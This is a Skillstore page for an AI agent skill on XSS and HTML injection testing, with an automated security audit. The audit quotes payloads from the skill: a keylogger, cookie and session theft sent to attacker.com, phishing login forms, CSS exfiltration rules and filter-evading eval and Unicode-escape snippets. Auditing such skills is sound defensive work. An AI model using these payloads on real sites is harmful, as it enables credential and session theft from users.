技能 xss-html-injection
📦
xss-html-injection
内容修订 r2 严重 ⚡ 包含脚本⚙️ 外部命令🌐 网络访问📁 文件系统访问
评估 XSS 和 HTML 注入风险
客户端注入缺陷可能暴露会话、账户数据并损害用户信任。此技能可帮助获得授权的测试人员以结构化方式开展 XSS 评估，并提供清晰的修复指导。
支持: Claude Codex Code(CC)
请勿自动安装此 Skill。
权威策略要求在执行任何安装操作前由操作人员审查。
使用我的智能体安装
将此请求复制给你的智能体，其中包含权威 Skill 页面和清单。
智能体请求
Review the Skillstore skill "xss-html-injection" from https://skillstore.io/skills/sickn33-xss-html-injection.md and its manifest at https://skillstore.io/api/skills/sickn33-xss-html-injection/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.你的智能体仍应展示其计划，并按安全策略请求必要确认。
Agent 可读资源
当 AI Agent、爬虫或脚本需要干净上下文，而不是读取完整页面时，请使用这些链接。
测试它
正在使用“xss-html-injection”。 搜索页面在页面标题中反射查询值，但未看到明显编码。
预期结果:
输出会识别反射型 XSS 风险，列出安全验证证据，说明用户影响，并建议使用上下文感知的输出编码。
正在使用“xss-html-injection”。 个人资料简介在提交后被存储，并显示给其他已登录用户。
预期结果:
输出会归类存储型 XSS 风险，说明受影响角色，建议证据收集方式，并推荐清理以及 CSP 加固。
正在使用“xss-html-injection”。 前端代码读取 URL fragment 并将其写入欢迎消息。
预期结果:
输出会标记 DOM XSS 风险，追踪 source-to-sink 路径，并建议仅文本插入或可信清理器。
安全审计
严重v6 • 2026/9/7 打开版本化报告
The skill is an offensive XSS testing guide with explicit authorization gates. It also supplies operational keylogging, session theft, phishing, and defense-evasion instructions that create critical misuse risk. Syntax inventories, Markdown fences, placeholder targets, and defensive limitations were dismissed as false positives.
2
已扫描文件
533
分析行数
17
复核项
0
已忽略误报
已确认安全问题 (8)
严重
Keylogger keywords
<!-- Keylogger injection -->
The section provides a working document-wide keylogger that transmits each keystroke to an attacker endpoint.
严重
Actionable Credential and Session Theft Workflow
The guide teaches persistent keylogging, cookie theft, session-data capture, and credential harvesting with attacker-controlled collection endpoints.
The cited sections contain complete browser payloads that collect sensitive data and transmit it to attacker endpoints.
高
Base64 encode
new Image().src='http://attacker.com/c='+btoa(document.cookie);
The code encodes document.cookie before transmitting it to an attacker endpoint, obscuring stolen session data.
高
Phishing Delivery and Interface Impersonation Guidance
The guide recommends phishing channels and supplies injected forms and full-page frames that imitate trusted interfaces to capture credentials.
The text explicitly labels phishing delivery methods and provides credential forms and interface-overlay examples.
高
Security Control Evasion Guidance
The guide catalogs encoding, obfuscation, CSP bypass, and WAF bypass methods that increase payload reliability against deployed defenses.
The cited sections explicitly present filter-bypass payloads and troubleshooting steps for bypassing CSP and WAF controls.
中
Base64 decode
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- security-allowlist: controlled XSS obfuscation exam
Base64 decoding is intentionally combined with eval to conceal an executable XSS payload from filters.
中
Unicode escape sequence
<script>\u0061lert(1)</script>
The Unicode escape is presented as an encoding bypass for an executable XSS payload.
中
Unicode escape sequence
<img src=x onerror=\u0061\u006cert(1)>
The Unicode escapes conceal an event-handler payload to bypass input filtering.
能力复核项 (17)
这些是真实的本地能力，对此技能可能是预期行为，因此需要复核，但不会按已确认恶意行为计分。
严重
Hardcoded URL
new Image().src='http://attacker.com/log?k='+e.key;
The URL receives each captured key from a document-wide keypress handler, forming an operational keylogger.
高
Dynamic code evaluation with eval()
<script>eval('al'+'ert(1)')</script> <!-- security-allowlist: controlled XSS obfuscation example -->
Line 314 provides an executable eval payload designed to evade simple filters through string concatenation.
高
Dynamic code evaluation with eval()
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- security-allowlist: controlled XSS obfuscation exam
Line 323 combines Base64 decoding with eval in an executable XSS obfuscation payload.
高
Fetch API call
fetch('http://attacker.com/capture',{
The fetch sends cookies and the current URL to an attacker endpoint as a session-hijacking payload.
高
Fetch API call
fetch('https://attacker.com/log',{
The fetch transmits cookies, local storage, and the current URL to an attacker endpoint.
高
Hardcoded URL
document.location='http://attacker.com/steal?c='+document.cookie
The URL receives document.cookie through a forced navigation, providing a directly usable cookie-theft payload.
高
Hardcoded URL
fetch('http://attacker.com/capture',{
The attacker URL is the destination for exfiltrated cookies and page location data.
高
Hardcoded URL
<form action="http://attacker.com/phish" method="POST">
The form posts usernames and passwords to an attacker endpoint while impersonating an expired login.
高
Hardcoded URL
<form action="http://attacker.com/capture">
The injected form submits entered credentials to an attacker endpoint, enabling credential theft.
高
Hardcoded URL
input[value^="a"]{background:url(http://attacker.com/a)}
The CSS rule makes attacker-controlled requests based on input values, demonstrating side-channel data exfiltration.
高
Hardcoded URL
input[value^="b"]{background:url(http://attacker.com/b)}
The CSS rule leaks whether an input begins with a chosen character through an attacker-controlled request.
高
Hardcoded URL
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:1
The full-page iframe loads an attacker phishing page and can visually replace the legitimate interface.
高
Hardcoded URL
new Image().src='http://attacker.com/c='+btoa(document.cookie);
The image request sends a Base64-encoded session cookie to an attacker endpoint.
高
Hardcoded URL
fetch('https://attacker.com/log',{
The attacker URL receives cookies, local storage, and page location through the accompanying fetch.
高
Hardcoded URL
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
The image URL transmits document.cookie to an attacker endpoint in a stored-XSS example.
高
Hardcoded URL
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+do
The crafted URL embeds a payload that sends document.cookie to an attacker endpoint and is intended for phishing delivery.
高
Hardcoded URL
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
The URL demonstrates loading a JSONP response as script to bypass an existing Content Security Policy.
风险因素
⚡ 包含脚本 (7)
⚙️ 外部命令 (19)
references/detailed-guide.md:317-326 references/detailed-guide.md:326-328 SKILL.md:59-64 SKILL.md:64-69 SKILL.md:69-74 SKILL.md:74-83 SKILL.md:83-85 SKILL.md:85-88 SKILL.md:88-90 SKILL.md:90-93 SKILL.md:93-95 SKILL.md:95-104 SKILL.md:104-106 SKILL.md:106-109 SKILL.md:109-111 SKILL.md:111-120 SKILL.md:120-122 SKILL.md:122-125 SKILL.md:125-127
🌐 网络访问 (26)
references/detailed-guide.md:131 references/detailed-guide.md:378 references/detailed-guide.md:119 references/detailed-guide.md:125 references/detailed-guide.md:131 references/detailed-guide.md:140 references/detailed-guide.md:155 references/detailed-guide.md:158 references/detailed-guide.md:161 references/detailed-guide.md:164 references/detailed-guide.md:218 references/detailed-guide.md:221 references/detailed-guide.md:225 references/detailed-guide.md:241 references/detailed-guide.md:248 references/detailed-guide.md:249 references/detailed-guide.md:253 references/detailed-guide.md:371 references/detailed-guide.md:378 SKILL.md:72 SKILL.md:84 SKILL.md:89 SKILL.md:94 SKILL.md:110 SKILL.md:121 SKILL.md:126
📁 文件系统访问 (1)
检测到的模式
Keylogger keywords
审计者: codex 查看审计历史 →
分享与引用此报告
分享版本化评估报告、中性徽章、嵌入卡片和引用。Skillstore 只报告证据，不判断该 Skill 是否安全。
复制报告链接
https://skillstore.io/skills/sickn33-xss-html-injection/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 徽章
[](https://skillstore.io/skills/sickn33-xss-html-injection?utm_source=security_passport_badge)HTML 徽章
<a href="https://skillstore.io/skills/sickn33-xss-html-injection?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-xss-html-injection/security.svg" alt="Skillstore security assessment" loading="lazy"></a>嵌入卡片
<iframe src="https://skillstore.io/embed/skills/sickn33-xss-html-injection.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学术引用 (APA · BibTeX · CFF)
APA 引用
zebbern. (2026). xss-html-injection security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-xss-html-injection/audits/6BibTeX 引用
@techreport{zebbern-sickn33-xss-html-injection-2026,
author = {zebbern},
title = {xss-html-injection security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-xss-html-injection/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "xss-html-injection security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-09-07"
url: "https://skillstore.io/skills/sickn33-xss-html-injection/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-xss-html-injection:audit:6"
description: "Skillstore immutable audit report identifier"
Skillstore 评分
评分依据 证据置信度: 中 41
架构
85
可维护性
87
内容
71
社区
83
规范符合性
你能构建什么
验证 Web 应用程序输入
规划对表单、个人资料、评论和 URL 参数的授权 XSS 检查。
准备客户报告
将观察到的注入行为转化为清晰的严重性、影响和修复说明。
审查前端数据流
在发布前追踪浏览器控制的数据进入 DOM sink 的路径。
试试这些提示
查找 XSS 测试区域
列出此授权应用程序中可能的 XSS 和 HTML 注入测试区域：[describe pages, forms, and user roles]。
规划安全验证
为此范围内的功能创建一个非破坏性的 XSS 验证计划：[feature]。包括输入、预期反射以及要收集的证据。
分析 DOM 流
审查此 DOM 数据流描述中的 XSS 风险：[sources, transformations, sinks]。说明可能的可利用性和更安全的模式。
编写修复报告
将这些 XSS 测试观察结果转换为可交付给客户的发现，包含严重性、影响、复现摘要、根因和修复建议：[observations]。
最佳实践
- 仅使用范围内账户、已批准域名和非生产数据。
- 为每个发现收集截图、请求、响应和浏览器观察结果。
- 优先通过输出编码、安全 DOM API、清理和 CSP 进行修复。
避免
- 不要在没有书面授权的情况下测试目标。
- 不要收集真实凭据、会话令牌或个人数据。
- 不要与批准范围之外的用户共享漏洞利用投递链接。
常见问题
此技能是否仅用于授权测试？
是。仅在拥有书面授权、明确范围并获准处理任何敏感证据的情况下使用。
它能自动确认 XSS 吗？
不能。它提供评估结构，但确认漏洞需要受控测试以及来自目标应用程序的证据。
它是否覆盖基于 DOM 的 XSS？
是。它说明如何审查浏览器控制的来源和危险的 DOM sink。
它是否包含修复指导？
是。它覆盖输出编码、清理、更安全的 DOM API、cookie 标志和内容安全策略。
开发者能否在发布前使用它？
是。开发者可以在部署前使用它审查高风险数据流并规划安全验证。
报告应包含哪些证据？
包括受影响的 URL、输入位置、截图、请求详情、浏览器行为、影响以及精确的修复步骤。
开发者详情
作者
zebbern许可证
MIT
Skillstore 修订
r2
版本提示
作者未声明版本。
引用
b1ef80115e869b66867d4eac8e3c8dc56a393a8d
维护新鲜度
2026/9/7
使用量
9 次下载 · 241 次浏览
文件结构